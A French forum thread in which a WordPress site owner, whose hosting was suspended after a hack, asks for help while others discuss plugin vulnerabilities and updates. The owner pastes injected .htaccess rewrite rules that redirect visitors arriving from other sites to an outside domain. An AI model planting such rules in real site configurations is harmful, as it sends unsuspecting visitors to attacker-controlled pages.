Bonjour à tous, j'ai mon site depuis un petit moment ( la-thailande.net ) et quand je me connecte on me dit : 'This site has been temporarily disabled, please try again later.'. Je ne peut pas me connecter avec /wp-admin ni avec le ftp. J'ai contacter le service client de mon hebergeur ( one.com ) et il ma dit que mon site a étais hacké. Ils vont m'envoyer un email mais pas avant 18heures . Que faire ? Merci.

Attendre le mail ?

C'est long

Hacké ç'est à dire ? (enfin je sais ce que ça veut dire hein mais on t'a pas donné la "raison" du hack ? (envoi de spam, intrusion dans la base de données, XSS ou autre quoi, ça donne déjà une idée du trou qu'il faut boucher)

Quelle version de wordpress ? Je suppose que tu utilisais des plugins, lesquelles ?

Je connais un gars qui avait eu un problème similaire sur son WordPress, à cause d'un plugin qui contenait une faille d'upload, un script PHP avait été uploadé et était utilisé pour flooder d'autres sites de requêtes HTTP...

L'hébergement avait aussi été suspendu, mais après avoir envoyé un mail, l'hébergeur a supprimé le script qui posait problème et a rétabli l'hébergement.

Quoi qu'il en soit ne sois pas trop pressé, il me semble que ça avait pris un week-end entier avant d'avoir le site à nouveau OP.

Je comprends pas comment des scripts non-sécurisés peuvent être mis à disposition,
Un ami avait tout son site sur Joomla, un script d'upload sale lui à couté une après midi de nettoyage sur son serveur.

La toutes dernière version de wordpress, avec, de tête, les plugins Wysija, plugin pour les formulaires, pour le livre d'or, pour les sondages après je me rapel plus ..
Et non on ne mas pas dit on ma dit votre site à étais hacké.

Il suffit d'un petit trou, d'un truc qu'on a oublié de vérifier et e mal est fait.

La sécurité c'est un métier redondant et pas égalitaire du tout; si de ton coté il y a 1000 trous, il faudra boucher les 1000 trous alors que pour le pirate 1 seul suffit.

Alors oui des fois on voit bien que le developpeur a un cruel manque de connaissances, et parfois c'est un malheureux oubli mais qui coute très cher.

Ouais enfin j'me souviens avoir vu des trucs vraiment pas jolis sur des modules Joomla,
Raison de plus pour que j'utilise jamais leurs trucs à moins de vérifier tout le code.

Tu mettais bien à jour ton site ?

Avec Wordpress à partir du moment où tu laisses ton site sans mise à jour, tu as une grande chance de te faire hack

Le hacker a dû utiliser cette méthode :

What is this, a gif for ants ?

Donc j'ai plus d'infos, je regarde dans un .htaccess et je vois : <IfModule mod_rewrite.c>

RewriteEngine On

RewriteBase /

RewriteCond %{HTTP_REFERER} ^http://[w.]*([^/]+)

RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/
$ [NC]

RewriteRule ^.*$ http://gabriellerosephotography.com/enas.html?h=1527683 [L,R]

</IfModule>

Donc comment faire pour bloquer ce site ? Le dénoncé ou autre ?

Et sur tout les htaccess qu'il y a il y a ce code.

Mais comment font il pour mettre quelque chose dans mon ftp alors qu'il n'on pas d'infos ?

Vire les règles de réécriture ?

Tu es chez quel hébergeur ?

One.com